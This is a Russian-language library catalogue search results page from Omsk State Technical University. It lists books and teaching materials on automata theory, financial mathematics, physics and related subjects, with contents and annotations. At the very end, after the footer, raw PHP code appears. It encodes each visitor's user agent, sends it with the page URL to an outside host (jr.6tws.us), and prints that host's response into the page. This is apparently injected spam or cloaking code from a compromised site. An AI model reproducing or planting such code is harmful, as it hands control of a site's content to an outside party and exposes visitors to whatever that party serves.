Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

48 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=ЭКВИВАЛЕНТНОСТЬ")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 91
1. 
Аристов, Владимир Вячеславович. Основы теории автоматов [Текст] : конспект лекций / В. В. Аристов, 2006. - 83 с.
Оглавление 
  • Введение. - с.3
  • Множества. - с.4
  • Основные понятия теории множеств. - с.4
  • Операции над множествами. - с.4
  • Логика Буля. - с.6
  • Булевы функции. - с.6
  • Постулаты и основные законы булевой алгебры. - с.7
  • Формы представления булевых функций. - с.8
  • Минимизация булевых функций. - с.11
  • Контрольные задания. - с.13
  • Формальная логика. - с.14
  • Исчисление высказываний. - с.14
  • Предикаты и кванторы. - с.16
  • Контрольные задания. - с.18
  • Графы . - с.20
  • Происхождение графов. - с.20
  • Основные определения. - с.21
  • Методы представления графов в аналитической форме. - с.25
  • Пути и контуры в графах. - с.27
  • Деревья. - с.32
  • Контрольные задания. - с.37
  • Конечные автоматы. - с.38
  • Понятие автомата. - с.38
  • Представление конечных автоматов. - с.40
  • Типы конечных автоматов. - с.44
  • Эквивалентность конечных автоматов: теорема Мура. - с.47
  • Минимизация конечных автоматов. - с.50
  • Минимизация неполных конечных автоматов. - с.54
  • Примеры конечных автоматов. - с.57
  • Моделирование автоматных систем сетями Петри. - с.61
  • Контрольные задания. - с.67
  • Алгоритмы и машины Тьюринга. - с.69
  • Понятие алгоритма. - с.69
  • Основные требования к алгоритмам. - с.70
  • Блок-схемы алгоритмов. - с.73
  • Формализация понятия алгоритма. - с.74
  • Машина Тьюринга. - с.75
  • Примеры машин Тьюринга. - с.78
  • Контрольные задания. - с.81
  • Библиографический список. - с.82
Держатели документа (Информация об экземплярах) 

В работе кратко и доступно изложены основополагающие разделы <теоретической> <информатики>, такие как: <логика> <Буля>, <формальная> логика <высказываний> и <предикатов>, <графы>, <конечные> автоматы, теория <алгоритмов> и <машины> <Тьюринга>, а также даны основные понятия <сетей> <Петри> и их использование для моделирования автоматных систем. Представлены контрольные задания по каждому разделу.

Полный текст
2. 
Гегечкори, Евгений Трдатович. Финансово-актуарная математика [Текст] : учеб. пособие / Е. Т. Гегечкори, О. Б. Малков, 2006. - 50 с.
Оглавление 
  • Введение. - с.5
  • Теория процентов. - с.6
  • Простые проценты. - с.6
  • Виды процентных ставок. - с.6
  • Закон наращения по простой процентной ставке. Дисконтирование, будущая и текущая стоимость денег. - с.7
  • Переменная процентная ставка. - с.9
  • Сложные проценты. - с.10
  • Закон наращения по сложной процентной ставке. - с.10
  • Начисление процентов несколько раз в год. - с.10
  • Эффективная процентная ставка. - с.10
  • Непрерывное начисление процентов. - с.12
  • Рост по простой и сложной непрерывным ставкам. - с.13
  • Переменная процентная ставка. - с.13
  • Расчет ставок сложных процентов в электронных таблицах Excel. - с.14
  • Дисконтирование по сложной ставке процентов. - с.15
  • Учетная процентная ставка. - с.15
  • Учетная ставка. - с.15
  • Расчет стоимости ценных бумаг в электронных таблицах Excel. - с.14
  • Наращение по учетной ставке. - с.17
  • Сложная учетная ставка. - с.17
  • Учет процентов несколько раз в год по сложной учетной ставке. - с.18
  • Определение срока платежа и величины процентных ставок, эквивалентность процентных ставок. - с.18
  • Простые проценты. - с.18
  • Простая учетная ставка. - с.19
  • Сложные проценты. - с.19
  • Расчет процентных и учетной ставок в Excel. - с.20
  • Эквивалентность процентных ставок. - с.21
  • Реальная ставка доходности с учетом инфляции и налогообложения. - с.22
  • Реальная ставка доходности и инфляционная премия. - с.23
  • Реальная ставка доходности с учетом налога. - с.24
  • Оценка и анализ денежных потоков. - с.25
  • Основные определения. - с.25
  • Простые проценты. - с.26
  • Постоянная рента. - с.26
  • Погашение задолженности. - с.28
  • Ежегодные ренты (сложные проценты). - с.29
  • Приведенная рента. - с.29
  • Обычная рента. - с.31
  • Отложенные ренты. - с.32
  • Определение члена ренты. - с.32
  • Расчет срока ренты. - с.32
  • Определение ставки доходности ренты. - с.33
  • Ренты, выплачиваемые несколько раз в год. - с.33
  • Обычная рента. - с.35
  • Приведенная рента. - с.36
  • Непрерывная рента. - с.37
  • Расчеты по рентам в электронных таблицах Excel. - с.38
  • Переменные ренты. - с.40
  • Рекуррентные формулы. - с.41
  • Ретроспективный метод. - с.41
  • Перспективный метод. - с.42
  • Стандартная возрастающая рента. - с.43
  • Стандартная убывающая рента. - с.43
  • Амортизация долга, ипотечные ссуды, изменение финансовых контрактов. - с.44
  • Амортизация долга. - с.44
  • Стандартные ипотеки. - с.46
  • Нестандартные ипотеки с переменными платежами. - с.47
  • Изменение финансовых контрактов. - с.48
  • Библиографический список. - с.49
Держатели документа (Информация об экземплярах) 

Излагаются основные методы <финансовой математики>, <теории> <простых> и <сложных> <процентов> (<дискретных> и <непрерывных>), <теории рент>, <методы погашения> <долгосрочных ссуд>, <оценки стоимости> и <доходности> различных <ценных бумаг>, <методы оценки> <инвестиционных проектов>. Материал проиллюстрирован большим числом примеров. Описаны методы расчета основных показателей с помощью программы электронных таблиц Microsoft Exscel.

Предназначено для студентов заочной формы обучения специальности 080801 "Прикладная информатика (в экономике)", а также для широкого круга специалистов, финансистов, инвесторов, работников коммерческих банков, инвестиционных и страховых компаний, негосударственных пенсионных фондов.

Полный текст
3. 
Хорн, Роджер. Матричный анализ [Текст] : пер. с англ. / Р. Хорн, Ч. Джонсон ; под ред. : Х. Д. Икрамова, 1989. - 655 с.
4. 
Пехович, Альберт Израйлевич. Расчета теплового режима твердых тел [Текст] / А. И. Пехович, В. М. Жидких, 1976. - 351 с.
Держатели документа (Информация об экземплярах) 
5. 
Нормативные и законодательные акты об образовании и науке в Российской Федерации [Текст] / Ассоц. негос. вузов. Т. 6, 2000. - 524 с.
Держатели документа (Информация об экземплярах) 
6. 
Аграчев, Андрей Александрович. Геометрическая теория управления [Текст] / А. А. Аграчев, Ю. Л. Сачков, 2004. - 391 с.
Держатели документа (Информация об экземплярах) 
7. 
Редькин Н. П. Дискретная математика [Текст] : курс лекций для студентов-механиков : учеб. пособие для вузов по специальностям "Математика", "Прикладная математика" / Н. П. Редькин, 2003. - 95, [1] с.
Держатели документа (Информация об экземплярах) 

Учебное пособие содержит основной материал обязательного курса "Дискретная математика". В нем в сжатой форме представлены для первоначального ознакомления несколько важных разделов дискретной математики: комбинаторный анализ; графы и сети; важнейшие классы управляющих систем - формулы алгебры логики, схемы из функциональных элементов, конечные автоматы; кодирование; примеры дискретных экстремальных задач и способов их решения. К каждой главе прилагаются задачи, самостоятельное решение которых, несомненно, будет способствовать более глубокому усвоению теоретического материала и лучшей подготовке к экзамену.

8. 
Общемашиностроительные нормативы времени и режимов резания для нормирования работ, выполняемых на универсальных и многоцелевых станках с числовым программным управлением [Текст] / Центр. бюро нормативов по труду Гос. комитета СССР по труду и соц. вопросам. Ч. 2 : Нормативы режимов резания, 1990. - 472, [1] с.
Ключевые слова 
НОРМАТИВНАЯ -- ДОКУМЕНТАЦИЯ -- ЧПУ -- ДЕТАЛЬ -- ОНВ -- ТОЧЕНИЕ -- РАСТАЧИВАНИЕ -- ПОДАЧА -- ПОПРАВОЧНЫЙ -- КОЭФФИЦИЕНТ -- ОБРАБОТКА -- РЕЗЕЦ -- ШЕРОХОВАТОСТЬ -- ЧЕРНОВАЯ -- ПОЛУЧИСТОВОЕ -- ЧИСТОВАЯ -- ОТДЕЛОЧНАЯ -- БОРШТАНГА -- СКОРОСТЬ -- КАНАВКА -- МЕТРИЧЕСКАЯ -- РЕЗЬБА -- ОТВЕРСТИЕ -- ЗЕНКЕРОВАНИЕ -- РАЗВЕРТЫВАНИЕ -- СВЕРЛЕНИЕ -- РАССВЕРЛИВАНИЕ -- МЕТЧИК -- ЦЕКОВКА -- ЗЕНКОВКА -- ФРЕЗЕРОВАНИЕ -- ФРЕЗА -- ТОРЦОВАЯ -- КОНЦЕВАЯ -- ДИСКОВАЯ -- СИЛА -- СТАЛЬ -- ЧУГУН -- СПЛАВ -- ПАЗ -- КРУГЛОЕ -- НАРУЖНОЕ -- ШЛИФОВАНИЕ -- ЧАСТОТА -- ВРАЩЕНИЕ -- ЗАГОТОВКА -- ПРИПУСК -- ЗЕНКЕР -- СОЖ -- ЭКВИВАЛЕНТНОСТЬ -- ПОДАТЛИВОСТЬ
Держатели документа (Информация об экземплярах) 
9. 
Дискретная математика [Текст] : метод. указания к практ. занятиям / ОмГТУ, 2008. - 32 с.
Держатели документа (Информация об экземплярах) 
Полный текст
10. 
Плоткин, Борис Исакович. Универсальная алгебра, алгебраическая логика и базы данных [Текст] / Б. И. Плоткин, 1991. - 446 с.
Держатели документа (Информация об экземплярах) 
11. 
Пушков, Сергей Григорьевич. Алгебраические методы представления динамических систем в пространстве состояний: точная и приближенная реализации [Текст] : Автореф. дис.. д-ра техн. наук: 05.13.01 - Системный анализ, управление и обработка информации (в отраслях информатики, вычислительной техники и автоматизации) / С. Г. Пушков, 2004. - 42 с.
Держатели документа (Информация об экземплярах) 
12. 
Ильяшенко Ю. С. Нелокальные бифуркации [Текст] / Ю. С. Ильяшенко, Ли Вейгу, 1999. - 415 с.
Держатели документа (Информация об экземплярах) 
13. 
Бугров, Яков Степанович. Дифференциальное и интегральное исчисление [Текст] : Учеб. для инженер.-техн. специальностей вузов / Я. С. Бугров, С. М. Никольский, 1984. - 431 с.
14. 
Риордан, Джон. Введение в комбинаторный анализ [Текст] / Д. Риордан; Л. Е. Садовский, Л. Я. Куликов, 1963. - 287 с.
Держатели документа (Информация об экземплярах) 
15. 
Богословская, Таисия Михайловна. Методы осаждения. (Аргентометрия, роданидометрия) [Текст] : Метод. указания к лаб. работам для студентов полиграф. фак. / Т. М. Богословская, 1976. - 20 с.
Держатели документа (Информация об экземплярах) 
Полный текст
16. 
Тюрин, Юрий Иванович. Физика [Текст] : Учеб. пособие для вузов: В 2 ч. Ч. 1 : Механика. Молекулярная физика. Термодинамика, 2002. - 522 с.
Ключевые слова 
УЧЕБНИК И ПОСОБИЕ * -- КИНЕМАТИКА -- РАЗМЕРНОСТЬ -- НЬЮТОНА ЗАКОН -- ИНЕРЦИАЛЬНАЯ СИСТЕМА -- ТЯГОТЕНИЕ -- ЭКВИВАЛЕНТНОСТЬ -- РАБОТА -- МОЩНОСТЬ -- ЭНЕРГИЯ -- ПОТЕНЦИАЛ -- ПОЛЕ -- ДИНАМИКА -- ВРАЩАТЕЛЬНОЕ ДВИЖЕНИЕ -- СТАТИКА -- МОМЕНТ ИНЕРЦИИ -- МОМЕНТ ИМПУЛЬСА -- ТЕОРИЯ ОТНОСИТЕЛЬНОСТИ -- БАРОМЕТР -- АРХИМЕДА ЗАКОН -- АВОГАДРО -- МАКСВЕЛЛА РАСПРЕДЕЛЕНИЕ -- БОЛЬЦМАНА РАСПРЕДЕЛЕНИЕ -- ПЕРЕНОС -- ГАЗ -- ТЕПЛОПРОВОДНОСТЬ -- ДИФФУЗИЯ -- ЭЛЕКТРОПРОВОДНОСТЬ -- ТВЕРДОЕ ТЕЛО -- ЖИДКОСТЬ -- КАРНО ЦИКЛ -- ТЕПЛОЕМКОСТЬ -- ХОЛОДИЛЬНИК -- ТЕПЛОВОЙ НАСОС -- КОНДИЦИОНЕР -- ЭНТРОПИЯ -- РЕАЛЬНЫЙ ГАЗ -- ВАН-ДЕР-ВААЛЬСА УРАВНЕНИЕ -- ПОВЕРХНОСТНОЕ НАТЯЖЕНИЕ -- ЛАПЛАСА -- КАПИЛЛЯРНОСТЬ -- СМАЧИВАНИЕ -- ИСПАРЕНИЕ -- КИПЕНИЕ
Держатели документа (Информация об экземплярах) 

Первая часть курса лекций по физике включает <классическую> и <релятивистскую> механику, молекулярную физику, термодинамику. Основное внимание уделено раскрытию физического смысла основных законов и выработке у студентов практических навыков их использования при решении профессиональных задач. Пособие содержит многочисленные примеры, упражнения и задачи.

17. 
Ермаков, Сергей Михайлович. Математическая теория оптимального эксперимента [Текст] : Учеб. пособие для вузов по специальности "Прикладная математика" / С. М. Ермаков, А. А. Жигулявский, 1987. - 319 с.
Держатели документа (Информация об экземплярах) 
18. 
Кларк, Эдмунд М. Верификация моделей программ: Model Checking [Текст] / Э. М. Кларк, О. Грамберг, Д. Пелед; Пер. с англ В. Захарова и др.; Под ред. Р. Смелянского, 2002. - 416 с.
Держатели документа (Информация об экземплярах) 
19. 
Карпов, Александр Георгиевич. Математические основы теории систем [Текст] : Учеб. пособие. Ч. 1, 2002. - 103 с.
Держатели документа (Информация об экземплярах) 

В учебном пособии даны общие определения, термины и понятия теории систем и <системного анализа>, изложена теория <конечных автоматов>, включая вопросы анализа и синтеза автоматов, как на абстрактном, так и на структурном уровнях, и являющаяся основой математического описания дискретных (цифровых) систем контроля, измерения, управления или вычисления.

20. 
Фен, Джон. Машины, энергия, энтропия [Текст] / Б. Фен ; пер. : М. Ю. Новиков ; ред. : Ю. Г. Рудой, 1986. - 330 с.


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 3104 - 09.12.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 1.23 с.12 запросов, 0.78c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;